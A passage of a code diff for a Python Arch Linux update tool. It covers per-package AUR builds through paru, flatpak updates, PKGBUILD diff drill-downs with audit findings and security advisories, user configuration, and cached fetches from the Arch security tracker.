+ f"not install: {', '.join(name for name, _ in failures)}"
+ ),
+ )
+ emit(
+ "recovery",
+ label="resume in a terminal",
+ argv=stream.aur_command_interactive(unfinished),
+ note=(
+ f"builds the remaining {len(unfinished)}; prompts "
+ "and the PKGBUILD review work as usual"
+ ),
+ )
+
+ if stopped:
+ emit("done", returncode=EXIT_FAILED, elapsed=round(time.monotonic() - started, 2))
+ return EXIT_FAILED
+
+ _record_aur_baselines(
+ run,
+ ordered,
+ updates,
+ aur_meta,
+ before=before,
+ after=_installed_versions() if failures else None,
+ complete=not failures,
+ )
+
+ if "flatpak" in phases:
+ observer = live.BuildObserver(
+ build_graph({}, set()), opts.clone_dir, total=len(run.flatpaks.updates)
+ )
+ runner = stream.StreamingRunner(observer, emit)
+ results["flatpak"] = runner.run(
+ stream.flatpak_command(), "flatpak", run.log_dir / "logs" / "flatpak.log"
+ )
+
+ failed = {name: rc for name, rc in results.items() if rc != 0}
+ for phase in sorted(failed):
+ if phase == "aur":
+ continue # already reported per package, with its own log
+ log = run.log_dir / "logs" / f"{_LOG_FOR[phase]}.log"
+ if opts.json_stream:
+ emit(
+ "error",
+ message=_failure_reason(log, f"the {phase} phase failed (exit {failed[phase]})"),
+ )
+ code = EXIT_FAILED if failed else EXIT_OK
+ emit(
+ "done", returncode=code, elapsed=round(time.monotonic() - started, 2), failed=sorted(failed)
+ )
+ return code
+
+
+def _apply_aur_each(
+ runner,
+ ordered: list[str],
+ log_dir: Path,
+ *,
+ total: int = 0,
+ since: float | None = None,
+ report=None,
+ failed=None,
+ skipped=None,
+) -> tuple[list[tuple[str, str]], list[str], list[str]]:
+ """Build and install one package per invocation, collecting the failures.
+
+ Split out from the phase because "the others still ran" is the entire point
+ of doing it this way, and that should be provable rather than inferred from
+ the shape of a loop.
+
+ paru resolves its whole target list before building any of it, so naming
+ every package at once makes one unresolvable target -- a conflict, or a
+ package pulled from the AUR between the check and the run -- fail the
+ command outright, installing nothing. One name per invocation is the only
+ thing that makes one bad package cost one package.
+ """
+ failures: list[tuple[str, str]] = []
+ remaining: list[str] = []
+ passed_over: list[str] = []
+ for index, name in enumerate(ordered):
+ # asked to stop: do not start the next package. The child already
+ # running was unwound by the runner.
+ if getattr(runner, "interrupted", False):
+ remaining = ordered[index:]
+ break
+ log = log_dir / f"{name}.log"
+ code = runner.run(stream.aur_command([name]), "aur", log, total=total, since=since)
+ if getattr(runner, "skipped", False):
+ # Asked for, so not a failure and not something to offer back:
+ # the reader decided this one was not worth waiting for.
+ passed_over.append(name)
+ if skipped is not None:
+ skipped(name)
+ continue
+ if code == 0:
+ continue
+ fallback = f"failed (exit {code})"
+ reason = _failure_reason(log, fallback, code)
+ failures.append((name, reason))
+ # Tell the observer too. Without this the watcher files the package as
+ # *done* -- it saw the process exit and nothing said otherwise -- so
+ # the stream carried a `finished state=done` and a `failed` for the
+ # same package, and `done` reached the total with packages missing.
+ observer = getattr(runner, "observer", None)
+ if observer is not None:
+ with contextlib.suppress(Exception):
+ observer.fail(name, reason)
+ # The interface watches processes, so it saw this package's makepkg
+ # exit and filed it as done -- it cannot read an exit code. Without
+ # this event the failure count stayed at zero while the log said
+ # otherwise.
+ if failed is not None:
+ failed(name, reason)
+ if report is not None and reason != fallback:
+ # named once, and only when the reason says more than the feed
+ # already does: the feed shows which package failed, but a bare
+ # reason is ambiguous when several have
+ report(f"{name}: {reason}")
+ return failures, remaining, passed_over
+
+
+def _installed_versions() -> dict[str, str]:
+ """What is installed right now, for telling an install from an attempt."""
+ try:
+ with repo.connect() as handle:
+ return repo.installed(handle)
+ except Exception: # noqa: BLE001 - a missing comparison is not fatal
+ return {}
+
+
+def _record_aur_baselines(
+ run: Run,
+ targets: list[str],
+ updates: dict[str, tuple[str, str]],
+ meta: dict[str, aur.AurPackage],
+ *,
+ before: dict[str, str] | None = None,
+ after: dict[str, str] | None = None,
+ complete: bool = True,
+) -> None:
+ """Remember the revision each package was built from.
+
+ A baseline is a claim that this revision was built and installed, so it is
+ only recorded for packages that got there. `complete` says the whole phase
+ succeeded, in which case every target qualifies; otherwise only the ones
+ whose installed version actually moved.
+ """
+ state = aur.State.load()
+ if after is None:
+ after = _installed_versions() if not complete and before else {}
+ recorded = 0
+ for name in targets:
+ if not complete:
+ changed = before and after and before.get(name) != after.get(name)
+ if not changed:
+ continue
+ commit = changes.head(run.options.clone_dir / name).sha
+ entry = meta.get(name)
+ state.record(
+ name,
+ maintainer=entry.maintainer if entry else None,
+ commit=commit,
+ version=updates.get(name, ("", ""))[1],
+ )
+ recorded += 1
+ if recorded != len(targets):
+ run.warnings.append(
+ f"recorded baselines for {recorded} of {len(targets)} package(s); "
+ "the rest were not installed"
+ )
+ try:
+ state.save()
+ except OSError as exc:
+ run.warnings.append(f"could not record build baselines: {exc}")
+
+
+def cmd_advisory(run: Run, advisory_id: str) -> int:
+ """The tracker's own record for one advisory, so the link is a last resort."""
+ payload = fetch.advisory_detail(advisory_id)
+ if run.options.json:
+ _print_json(json.dumps(payload))
+ return EXIT_OK if payload.get("available") else EXIT_FAILED
+
+ if not payload.get("available"):
+ run.console.print(f"[red]{payload.get('reason')}[/red]")
+ return EXIT_FAILED
+
+ c = run.console
+ c.print(f"[bold]{payload['id']}[/bold] [dim]{payload['packages']}[/dim]")
+ c.print(f" severity {payload['severity']}")
+ c.print(f" type {payload['kind']}")
+ c.print(f" status {payload['status']}")
+ c.print(f" affected {payload['affected'] or '—'}")
+ c.print(f" fixed {payload['fixed'] or 'no fix available'}")
+ if payload.get("notes"):
+ c.print(f" notes {payload['notes']}")
+ c.print()
+ c.print(f"[bold]{len(payload['issues'])} CVE(s)[/bold]")
+ for issue in payload["issues"]:
+ c.print(f" {issue}")
+ for reference in payload.get("references", []):
+ c.print(f" [dim]{reference}[/dim]")
+ c.print(f"\n[dim]{payload['url']}[/dim]")
+ return EXIT_OK
+
+
+def cmd_security(run: Run) -> int:
+ """Run arch-audit now and report it, rather than whatever the plan cached."""
+ report = security.scan(force=True)
+ payload = {
+ "available": report.available,
+ "reason": report.reason,
+ "total": len(report.advisories),
+ "fixable": len(report.fixable),
+ "unfixable": len(report.unfixable),
+ "advisories": [detail.advisory_detail(a) for a in report.sorted_advisories()],
+ }
+ if run.options.json:
+ _print_json(json.dumps(payload))
+ return EXIT_OK if report.available else EXIT_FAILED
+
+ if not report.available:
+ run.console.print(f"[red]{report.reason}[/red]")
+ return EXIT_FAILED
+ run.console.print(
+ f"[bold]{len(report.advisories)} advisories[/bold] [dim]{len(report.fixable)} fixable[/dim]"
+ )
+ for advisory in report.sorted_advisories():
+ fix = advisory.fixed or "no fix available"
+ run.console.print(f" {advisory.severity:<14} {advisory.id:<12} {fix}")
+ return EXIT_OK
+
+
+def _print_json(payload: str) -> None:
+ """Write JSON to stdout with nothing added.
+
+ Deliberately not `console.print_json`: Rich colourises that output, and it
+ honours FORCE_COLOR, so on a machine that forces colour the JSON arrived
+ full of ANSI escapes and the front end could not parse a single byte of it.
+ Machine-readable output must be byte-exact.
+ """
+ sys.stdout.write(payload + "\n")
+ sys.stdout.flush()
+
+
+def cmd_show(run: Run, package: str) -> int:
+ """Assemble the drill-down for one package: diff, audit, CVEs, metadata.
+
+ Deliberately a separate command rather than part of the plan, so the plan
+ stays small and a diff is only computed when somebody asks for it.
+ """
+ state = aur.State.load()
+ with repo.connect() as handle:
+ installed = repo.installed(handle)
+ is_foreign = package in set(repo.foreign(handle))
+ sync_meta = None if is_foreign else _sync_metadata(handle, package)
+ dependents = [] if is_foreign else _dependents(handle, package)
+ plan = None if is_foreign else repo.plan(handle)
+
+ if not is_foreign:
+ # A repository package has no PKGBUILD to diff. Fetching one and
+ # reporting the 404 was worse than useless: it looked like an error.
+ advisories = []
+ if not run.options.offline:
+ advisories = security.scan().for_package(package)
+ detail_payload = detail.repo_package_detail(
+ package,
+ installed=installed.get(package, ""),
+ meta=sync_meta,
+ plan=plan,
+ advisories=advisories,
+ dependents=dependents,
+ hooks=_hooks_for(package),
+ )
+ if run.options.json:
+ _print_json(json.dumps(detail_payload))
+ return EXIT_OK
+ _emit_repo_detail(run, detail_payload)
+ return EXIT_OK
+
+ meta: aur.AurPackage | None = None
+ if not run.options.offline:
+ try:
+ meta = aur.fetch([package]).get(package)
+ except aur.AurError as exc:
+ run.warnings.append(str(exc))
+
+ advisories = []
+ if not run.options.offline:
+ advisories = security.scan().for_package(package)
+
+ payload = detail.package_detail(
+ run.options.clone_dir,
+ package,
+ installed=installed.get(package, ""),
+ available=meta.version if meta else "",
+ meta=meta,
+ previous_maintainer=state.previous_maintainer(package),
+ recorded_commit=state.previous_commit(package),
+ advisories=advisories,
+ kind="aur" if is_foreign else "repo",
+ network=not run.options.offline,
+ )
+ payload["ignored"] = run.config.is_ignored(package)
+ # Which way the version goes, decided here because this is where the
+ # installed and available versions are both known. `→` does not say
+ # whether it is an upgrade, and the overlay has no other marker.
+ installed_version = installed.get(package, "")
+ if is_foreign and installed_version and meta and meta.version:
+ payload["downgrade"] = pyalpm.vercmp(meta.version, installed_version) < 0
+
+ if run.options.json:
+ _print_json(json.dumps(payload))
+ return EXIT_OK
+
+ _render_detail(run, payload)
+ return EXIT_OK
+
+
+def _render_detail(run: Run, payload: dict) -> None:
+ """Human-readable rendering of the same payload."""
+ c = run.console
+ c.print(
+ f"[bold]{payload['package']}[/bold] "
+ f"[dim]{payload['installed']} → {payload['available']}[/dim]"
+ )
+ if payload.get("baseline_note"):
+ c.print(f"[dim]{payload['baseline_note']}[/dim]")
+ c.print()
+
+ findings = payload.get("findings", [])
+ if findings:
+ c.print("[bold]FINDINGS[/bold]")
+ for f in findings:
+ glyph = {"BLOCK": "!!", "LOOK": "!", "INFO": "·"}.get(f["severity"], "·")
+ c.print(f" {glyph} {f['title']}")
+ if f.get("evidence"):
+ c.print(f" [dim]{f['evidence']}[/dim]")
+ c.print()
+
+ advisories = payload.get("advisories", [])
+ if advisories:
+ c.print("[bold]SECURITY[/bold]")
+ for a in advisories:
+ fix = a["fixed"] or "no fix available"
+ c.print(f" {a['severity']:<14} {a['id']:<12} {fix}")
+ c.print(f" [dim]{a['url']}[/dim]")
+ for issue in a["issues"][:8]:
+ c.print(f" [dim]{issue}[/dim]")
+ if len(a["issues"]) > 8:
+ c.print(f" [dim]+ {len(a['issues']) - 8} more[/dim]")
+ c.print()
+
+ diff = payload.get("diff", {})
+ lines = diff.get("lines", [])
+ if lines:
+ c.print(f"[bold]DIFF[/bold] [dim]+{diff['added']} -{diff['removed']}[/dim]")
+ for line in lines[:200]:
+ marker = {"add": "+", "del": "-"}.get(line["kind"], " ")
+ style = {"add": "green", "del": "red"}.get(line["kind"], "dim")
+ c.print(f" {marker} [{style}]{line['text']}[/{style}]")
+ elif payload.get("pkgbuild"):
+ c.print("[bold]PKGBUILD[/bold] [dim](shown as reference)[/dim]")
+ for i, text in enumerate(payload["pkgbuild"][:200], 1):
+ c.print(f" [dim]{i:>4}[/dim] {text}")
+
+
+def cmd_checks(run: Run) -> int:
+ """The machine-local checks only. No network, no AUR, no archive scan."""
+ run.hygiene = hygiene.collect(include_processes=False)
+ rows = _hygiene_checks(run)
+ _print_json(
+ json.dumps(
+ {
+ "checks": [
+ {
+ "ok": c.ok,
+ "label": c.label,
+ "detail": c.detail,
+ "details": c.details,
+ "action": c.action,
+ "warning": c.warning,
+ }
+ for c in rows
+ ],
+ # This command can only recompute the machine-local rows. Naming them
+ # lets the reader replace exactly those and leave the ones it cannot
+ # see -- whether a reboot is pending, whether the archive is reachable
+ # -- alone, instead of silently dropping them from the screen.
+ "covers": [c.label for c in rows],
+ }
+ )
+ )
+ return EXIT_OK
+
+
+def cmd_log(run: Run) -> int:
+ link = latest_link()
+ if not link.exists():
+ run.console.print("[dim]no previous run[/dim]")
+ return EXIT_FAILED
+ target = link.resolve()
+ run.console.print(str(target))
+ if run.options.tail:
+ for path in sorted(target.glob("logs/*.log")):
+ run.console.print(f"\n[bold]{path.name}[/bold]")
+ run.console.print(path.read_text(errors="replace")[-4000:])
+ return EXIT_OK
+
+
+# --------------------------------------------------------------------------
+# main
+# --------------------------------------------------------------------------
+
+
+def main(argv: list[str] | None = None) -> int:
+ """Entry point. One owner for turning a failure into an exit code.
+
+ Without this an unexpected error -- an unreadable file, an odd revision in
+ a clone, a pacman database in a state nobody anticipated -- leaves the
+ terminal with a Python traceback, which tells the person running an update
+ nothing about what to do next.
+ """
+ try:
+ return _main(argv)
+ except KeyboardInterrupt:
+ return EXIT_FAILED
+ except Exception as exc: # noqa: BLE001 - the top of the program
+ if os.environ.get("UPDATER_DEBUG"):
+ raise
+ Console(stderr=True).print(f"[red]updater failed:[/red] {type(exc).__name__}: {exc}")
+ Console(stderr=True).print("[dim]set UPDATER_DEBUG=1 for the full traceback[/dim]")
+ return EXIT_FAILED
+
+
+def _main(argv: list[str] | None = None) -> int:
+ args = build_parser().parse_args(argv)
+ opts = options_from(args)
+ tier, reason = icons.detect(override=opts.icon_tier)
+ console = Console()
+ # the renderer lays out to an exact column count; if it disagrees with the
+ # Console's own width, every line that is wide gets wrapped and the grid is
+ # destroyed. Let the Console, which knows best, be the authority.
+ opts.width = console.width
+ run = Run(options=opts, glyphs=icons.glyphs(tier), console=console, config=config.Config.load())
+ if os.environ.get("UPDATER_DEBUG"):
+ run.console.print(f"[dim]icons: {tier} ({reason})[/dim]", highlight=False)
+
+ if opts.command == "log":
+ return cmd_log(run)
+ if opts.command == "checks":
+ return cmd_checks(run)
+ if opts.command == "hygiene":
+ return cmd_hygiene(run)
+ if opts.command == "apply":
+ return cmd_apply(run)
+
+ # Everything above answers a question about one thing and does its own
+ # lookups. Gathered before them, a full plan -- a mirror sync, an RPC for
+ # every foreign package, an arch-audit run, a walk of /etc -- ran and was
+ # thrown away, which is what made opening a package take seconds.
+ if opts.command == "audit":
+ return cmd_audit(run, args.package)
+ if opts.command == "show":
+ return cmd_show(run, args.package)
+ if opts.command == "advisory":
+ return cmd_advisory(run, args.advisory_id)
+ if opts.command == "security":
+ return cmd_security(run)
+
+ review = gather(run)
+ emit_plan(run, review)
+
+ if opts.dry_run:
+ return EXIT_OK
+ if not (review.repo or review.aur or run.vcs or run.flatpaks.has_updates):
+ if not opts.json:
+ run.console.print("[dim]nothing to do[/dim]")
+ return EXIT_OK
+
+ if not confirm(run, confirm_prompt(run)):
+ return EXIT_DECLINED
+
+ results: dict[str, live.RunResult | None] = {"repo": apply_repo(run)}
+ repo_result = results["repo"]
+ if repo_result is not None and not repo_result.ok:
+ # never build AUR packages against a half-upgraded system
+ run.console.print("[red]repo phase failed; not building AUR packages[/red]")
+ write_summary(run, results)
+ return EXIT_FAILED
+
+ results["aur"] = apply_aur(run)
+ aur_result = results["aur"]
+ if aur_result is not None and aur_result.ok:
+ record_baselines(run)
+ results["flatpak"] = apply_flatpak(run)
+ summary = write_summary(run, results)
+ if not opts.json:
+ run.console.print(f"[dim]summary: {summary}[/dim]")
+
+ failed = [name for name, res in results.items() if res is not None and not res.ok]
+ if failed:
+ run.console.print(f"[red]failed phases: {', '.join(failed)}[/red]")
+ return EXIT_FAILED
+
+ final = hygiene.collect(include_processes=True)
+ if final.reboot:
+ run.console.print(f"[yellow]reboot recommended:[/yellow] {final.reboot}")
+ if final.stale:
+ run.console.print(
+ f"[yellow]{len(final.stale)} process(es) still running replaced binaries[/yellow]"
+ )
+ return EXIT_OK
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/updater/config.py b/updater/config.py
@@ -0,0 +1,136 @@
+"""User configuration.
+
+Mirrors the shape used by the other tools in this tree: JSON under
+`~/.config/<name>/config.json`, colours as ANSI slot numbers written as strings,
+and a handful of UI toggles. Colour slots rather than hex, because the terminal
+decides what slot 8 looks like.
+
+This is user-editable configuration, deliberately separate from the AUR build
+state in `aur.py`: one is yours to edit by hand, the other is the tool's memory.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+from dataclasses import asdict, dataclass, field
+from pathlib import Path
+
+APP = "updater"
+
+
+def config_dir() -> Path:
+ base = os.environ.get("XDG_CONFIG_HOME") or (Path.home() / ".config")
+ return Path(base) / APP
+
+
+def config_path() -> Path:
+ return config_dir() / "config.json"
+
+
+@dataclass
+class Config:
+ #: packages never updated by this tool, keyed by name
+ ignored: list[str] = field(default_factory=list)
+
+ #: advisory ids you have read and decided to live with. Acknowledge is not
+ #: "fixed": most advisories on a rolling distribution have no fix available,
+ #: so the useful action is to stop being told about the ones you have seen.
+ acked: list[str] = field(default_factory=list)
+
+ #: epoch of the newest news item you have read. Arch uses the news feed to
+ #: announce upgrades that will not complete on their own, so this is the
+ #: difference between "nothing new" and "you have not looked".
+ news_seen: float = 0.0
+
+ #: ANSI slot numbers, as strings, matching theme.py's roles
+ color_accent: str = "10" # bright green
+ color_muted: str = "8" # bright black
+ color_ok: str = "2" # green
+ color_warn: str = "3" # yellow
+ color_alert: str = "1" # red
+ color_old: str = "1"
+ color_new: str = "10"
+ color_ver: str = "6" # cyan
+
+ #: UI
+ cursor_icon: str = "▸"
+ hide_hints: bool = False
+ show_vcs: bool = True
+
+ #: how many rows a section shows before collapsing by default
+ expand_threshold: int = 8
+
+ #: set when the file has been created or edited, so we can tell a first run
+ @classmethod
+ def load(cls, path: Path | None = None) -> Config:
+ path = path or config_path()
+ try:
+ raw = json.loads(path.read_text())
+ except (OSError, ValueError):
+ return cls()
+ # A valid JSON document is not necessarily an object. `[]` in a
+ # user-editable config crashed the program at startup, before any
+ # command ran.
+ if not isinstance(raw, dict):
+ return cls()
+ known = cls.__dataclass_fields__
+ return cls(**{k: v for k, v in raw.items() if k in known})
+
+ def save(self, path: Path | None = None) -> None:
+ """Write atomically: a half-written config would lose your ignore list."""
+ path = path or config_path()
+ path.parent.mkdir(parents=True, exist_ok=True)
+ tmp = path.with_suffix(".tmp")
+ tmp.write_text(json.dumps(asdict(self), indent=2, sort_keys=True) + "\n")
+ tmp.replace(path)
+
+ # -- ignores -----------------------------------------------------------
+
+ def is_ignored(self, package: str) -> bool:
+ return package in self.ignored
+
+ def ignore(self, package: str) -> None:
+ if package not in self.ignored:
+ self.ignored.append(package)
+ self.ignored.sort()
+
+ def unignore(self, package: str) -> None:
+ if package in self.ignored:
+ self.ignored.remove(package)
+
+ # -- advisory acknowledgements ----------------------------------------
+
+ def is_acked(self, advisory: str) -> bool:
+ return advisory in self.acked
+
+ def ack(self, advisory: str) -> None:
+ if advisory not in self.acked:
+ self.acked.append(advisory)
+ self.acked.sort()
+
+ def unack(self, advisory: str) -> None:
+ if advisory in self.acked:
+ self.acked.remove(advisory)
+
+ def toggle_acked(self, advisory: str) -> bool:
+ """Flip one advisory. Returns True if it is now acknowledged."""
+ if self.is_acked(advisory):
+ self.unack(advisory)
+ return False
+ self.ack(advisory)
+ return True
+
+ def clear_acks(self) -> int:
+ """Forget every acknowledgement. Returns how many there were."""
+ count = len(self.acked)
+ self.acked = []
+ return count
+
+ def toggle_ignored(self, package: str) -> bool:
+ """Flip one package. Returns True if it is now ignored."""
+ if self.is_ignored(package):
+ self.unignore(package)
+ return False
+ self.ignore(package)
+ return True
diff --git a/updater/detail.py b/updater/detail.py
@@ -0,0 +1,344 @@
+"""Assemble the payload behind a drill-down.
+
+Fetched lazily, one package at a time, rather than folded into the plan: a diff
+is large, and shipping every diff with every plan would make the common case --
+just looking at what is pending -- pay for the rare case.
+
+Everything here is read-only and static. Nothing sources a PKGBUILD; see srcinfo.
+"""
+
+from __future__ import annotations
+
+import difflib
+import time
+from pathlib import Path
+
+from . import changes, fetch
+from .audit import audit
+from .aur import AurPackage
+from .render.base import human_bytes
+from .security import Advisory
+
+#: enough context to be readable without dumping the whole file
+DIFF_CONTEXT = 3
+#: refuse to send an enormous diff; the caller shows a reference listing instead
+MAX_DIFF_LINES = 400
+
+
+def diff_lines(old: str, new: str, *, context: int = DIFF_CONTEXT) -> list[dict]:
+ """Structured hunks: kind, old line number, new line number, text."""
+ old_lines = old.splitlines()
+ new_lines = new.splitlines()
+ out: list[dict] = []
+ matcher = difflib.SequenceMatcher(None, old_lines, new_lines)
+ for group in matcher.get_grouped_opcodes(context):
+ if out:
+ out.append({"kind": "gap", "old": None, "new": None, "text": ""})
+ for tag, i1, i2, j1, j2 in group:
+ if tag == "equal":
+ for offset, text in enumerate(old_lines[i1:i2]):
+ out.append(
+ {
+ "kind": "ctx",
+ "old": i1 + offset + 1,
+ "new": j1 + offset + 1,
+ "text": text,
+ }
+ )
+ else:
+ for offset, text in enumerate(old_lines[i1:i2]):
+ out.append({"kind": "del", "old": i1 + offset + 1, "new": None, "text": text})
+ for offset, text in enumerate(new_lines[j1:j2]):
+ out.append({"kind": "add", "old": None, "new": j1 + offset + 1, "text": text})
+ return out
+
+
+def _counts(lines: list[dict]) -> tuple[int, int]:
+ added = sum(1 for line in lines if line["kind"] == "add")
+ removed = sum(1 for line in lines if line["kind"] == "del")
+ return added, removed
+
+
+def _meta_dict(meta: AurPackage | None) -> dict:
+ if meta is None:
+ return {}
+ return {
+ "maintainer": meta.maintainer or "",
+ "orphaned": meta.is_orphaned,
+ "out_of_date": meta.out_of_date,
+ "votes": meta.votes,
+ "popularity": round(meta.popularity, 2),
+ "first_submitted": meta.first_submitted,
+ "last_modified": meta.last_modified,
+ "url": meta.url,
+ "package_base": meta.package_base,
+ "depends": list(meta.depends),
+ "make_depends": list(meta.make_depends),
+ }
+
+
+def repo_package_detail(
+ package: str,
+ *,
+ installed: str = "",
+ meta: dict | None = None,
+ plan=None,
+ advisories: list | None = None,
+ dependents: list[str] | None = None,
+ hooks: list | None = None,
+) -> dict:
+ """The drill-down for a package that comes from a repository, not the AUR.
+
+ There is no PKGBUILD to diff -- a repository package is a built artefact.
+ What is worth knowing instead is what it is, who built it, what it needs,
+ what needs it, and what will run when it is installed.
+ """
+ m = meta or {}
+ old = installed or ""
+ new = m.get("version", "")
+ size_now = int(m.get("isize") or 0)
+ download = int(m.get("download_size") or 0)
+
+ facts: list[tuple[str, str]] = []
+ if m.get("repo"):
+ facts.append(("repository", m["repo"]))
+ if m.get("desc"):
+ facts.append(("summary", m["desc"]))
+ if m.get("base") and m["base"] != package:
+ facts.append(("built from", m["base"]))
+ if m.get("packager"):
+ facts.append(("packager", m["packager"]))
+ if m.get("builddate"):
+ facts.append(("built", time.strftime("%Y-%m-%d", time.localtime(m["builddate"]))))
+ if m.get("url"):
+ facts.append(("upstream", m["url"]))
+ if m.get("licenses"):
+ facts.append(("licence", ", ".join(m["licenses"])))
+ if m.get("groups"):
+ facts.append(("group", ", ".join(m["groups"])))
+ if new and old and new != old:
+ facts.append(("version", f"{old} -> {new}"))
+ elif new:
+ facts.append(("version", new))
+ if download:
+ facts.append(("download", human_bytes(download)))
+ if size_now:
+ facts.append(("installed", human_bytes(size_now)))
+
+ sections: list[dict] = [{"title": "PACKAGE", "fields": facts}]
+
+ def add(title: str, items: list[str], *, limit: int = 0) -> None:
+ if not items:
+ return
+ if limit and len(items) > limit:
+ shown = items[:limit]
+ shown.append(f"... and {len(items) - limit} more ({len(items)} in total)")
+ items = shown
+ sections.append({"title": title, "items": items})
+
+ add("DEPENDS ON", list(m.get("depends") or []))
+ add("OPTIONAL", list(m.get("optdepends") or []))
+ # glibc is required by most of the system; a wall of names helps nobody
+ add("REQUIRED BY", list(dependents or []), limit=14)
+ add("PROVIDES", list(m.get("provides") or []))
+ add("CONFLICTS", list(m.get("conflicts") or []))
+ add("REPLACES", list(m.get("replaces") or []))
+ if m.get("sha256sum"):
+ sections.append({"title": "INTEGRITY", "fields": [("sha256", m["sha256sum"])]})
+
+ if hooks:
+ sections.append(
+ {
+ "title": "HOOKS THAT WILL RUN",
+ "items": [f"{h.label} ({h.path.name})" for h in hooks],
+ }
+ )
+
+ if advisories:
+ sections.append(
+ {
+ "title": "ADVISORIES",
+ "items": [
+ f"{a.id} {a.severity} {a.fixed or 'no fix available'}" for a in advisories
+ ],
+ }
+ )
+
+ in_plan = False
+ if plan is not None:
+ in_plan = any(u.name == package for u in getattr(plan, "updates", []))
+
+ notes: list[str] = []
+ if not new:
+ notes.append(
+ f"{package} is installed but is not in any repository "
+ "database. It may have been dropped, or built locally."
+ )
+ elif not old:
+ notes.append(f"{package} is not currently installed.")
+ if in_plan:
+ notes.append("This package is in the plan below and will be upgraded.")
+
+ return {
+ "package": package,
+ "kind": "repo",
+ "installed": old,
+ "available": new,
+ "verdict": "repo",
+ "baseline_note": "",
+ "fetch_note": "",
+ "diff": {
+ "lines": [],
+ "added": 0,
+ "removed": 0,
+ "truncated": False,
+ "available": False,
+ "note": "a repository package is built, not scripted: there is no PKGBUILD to diff",
+ },
+ "findings": [],
+ "meta": {},
+ "sections": sections,
+ "notes": notes,
+ # objects, not ids: the overlay decodes the same shape for a
+ # repository package as for an AUR one, and a list of strings made
+ # every repository drill-down fail to parse.
+ "advisories": [advisory_detail(a) for a in (advisories or [])],
+ "in_plan": in_plan,
+ }
+
+
+def package_detail(
+ clone_dir: Path,
+ package: str,
+ *,
+ installed: str = "",
+ available: str = "",
+ meta: AurPackage | None = None,
+ previous_maintainer: str | None = None,
+ recorded_commit: str = "",
+ advisories: list[Advisory] | None = None,
+ kind: str = "aur",
+ network: bool = True,
+) -> dict:
+ """Everything the drill-down overlay needs for one package."""
+ state_baseline, how = changes.baseline(clone_dir, package, installed, recorded_commit)
+ old_text, new_text = changes.diff_against(clone_dir, package, state_baseline)
+ baseline = changes.head(clone_dir / package)
+
+ lines: list[dict] = []
+ added = removed = 0
+ truncated = False
+ if old_text and new_text:
+ lines = diff_lines(old_text, new_text)
+ # Count the whole change before trimming: a truncated payload reports
+ # "+N -M" for the change, and counting the surviving slice instead
+ # understates it -- "40 lines changed" reading as "+0 -4".
+ added, removed = _counts(lines)
+ if len(lines) > MAX_DIFF_LINES:
+ lines = lines[:MAX_DIFF_LINES]
+ truncated = True
+
+ # the audit compares the same two revisions the diff does, so the findings
+ # and the diff cannot disagree about what changed
+ change = changes.change_from_clone(
+ clone_dir,
+ package,
+ old_commit=state_baseline,
+ old_maintainer=previous_maintainer,
+ new_maintainer=meta.maintainer if meta else None,
+ )
+ report = audit(change)
+
+ notes = {
+ "recorded": "compared against the revision this tool last built",
+ "version": f"compared against the revision matching installed {installed}"
+ " (reconstructed from AUR git history)",
+ "missing": "paru has not downloaded this package",
+ "": f"installed {installed or 'version'} is not in this package's history",
+ }
+
+ fetched = ""
+ fetch_note = ""
+ if not new_text and network:
+ # paru has no clone for this package, so there is no history to diff.
+ # Showing the file that will actually be built is still worth doing.
+ body, error = fetch.pkgbuild(package)
+ if body:
+ fetched = body
+ fetch_note = "paru has not downloaded this package"
+ elif error:
+ fetch_note = f"paru has not downloaded this package — {error}"
+
+ payload = {
+ "package": package,
+ "kind": kind,
+ "installed": installed,
+ "available": available,
+ "current_commit": baseline.sha,
+ "current_commit_summary": baseline.summary,
+ "current_commit_when": baseline.when,
+ "baseline_commit": state_baseline,
+ "baseline_how": how,
+ "baseline_note": fetch_note or notes.get(how, ""),
+ "fetch_note": fetch_note,
+ "diff": {"lines": lines, "added": added, "removed": removed, "truncated": truncated},
+ "findings": [
+ {
+ "rule": f.rule,
+ "severity": f.severity.name,
+ "title": f.title,
+ "evidence": f.evidence,
+ "where": f.where,
+ }
+ for f in report.findings
+ ],
+ "verdict": report.verdict.name,
+ "meta": _meta_dict(meta),
+ "advisories": [
+ {
+ "id": a.id,
+ "severity": a.severity,
+ "fixed": a.fixed or "",
+ "status": a.status,
+ "kind": a.kind,
+ "url": a.url,
+ "issues": list(a.issues),
+ }
+ for a in (advisories or [])
+ ],
+ }
+ if not lines:
+ # no baseline: hand over a file as a reference listing so the overlay
+ # shows something useful rather than an empty diff
+ reference = new_text or fetched
+ if reference:
+ payload["pkgbuild"] = reference.splitlines()
+ return payload
+
+
+def advisory_detail(advisory: Advisory) -> dict:
+ """A security advisory on its own, for the CVE overlay."""
+ return {
+ "id": advisory.id,
+ "severity": advisory.severity,
+ "status": advisory.status,
+ "kind": advisory.kind,
+ "fixed": advisory.fixed or "",
+ "url": advisory.url,
+ "packages": list(advisory.packages),
+ "issues": list(advisory.issues),
+ }
+
+
+def summary_line(payload: dict) -> str:
+ """One line describing a package's change, used as a list subtitle."""
+ parts = []
+ diff = payload.get("diff") or {}
+ if diff.get("added") or diff.get("removed"):
+ parts.append(f"+{diff.get('added', 0)} -{diff.get('removed', 0)}")
+ loud = [f for f in payload.get("findings", []) if f["severity"] != "INFO"]
+ if loud:
+ parts.append(f"{len(loud)} finding(s)")
+ if payload.get("advisories"):
+ parts.append(f"{len(payload['advisories'])} advisory(ies)")
+ return " · ".join(parts)
diff --git a/updater/fetch.py b/updater/fetch.py
@@ -0,0 +1,186 @@
+"""Network fetches, with an on-disk cache.
+
+Two things the front end wants that are not on the machine: an advisory's full
+record from the security tracker, and the current PKGBUILD of a package paru has
+never downloaded.
+
+Both are cached under `~/.cache/updater`. Advisory records change rarely and the
+tracker is a small volunteer service, so hammering it on every keypress would be
+rude; the PKGBUILD cache is short-lived because it is expected to change.
+
+Nothing here raises. A fetch that fails is a normal state for a tool that has to
+work on a train, so every function returns a reason instead.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import time
+import urllib.error
+import urllib.parse
+import urllib.request
+from pathlib import Path
+
+TRACKER = "https://security.archlinux.org"
+AUR = "https://aur.archlinux.org"
+
+#: advisories are effectively immutable once published
+ADVISORY_TTL = 7 * 24 * 3600
+#: a PKGBUILD can change at any moment, so keep it only briefly
+PKGBUILD_TTL = 15 * 60
+
+USER_AGENT = "updater/0.1 (+https://aur.archlinux.org)"
+
+
+def cache_dir() -> Path:
+ base = os.environ.get("XDG_CACHE_HOME") or (Path.home() / ".cache")
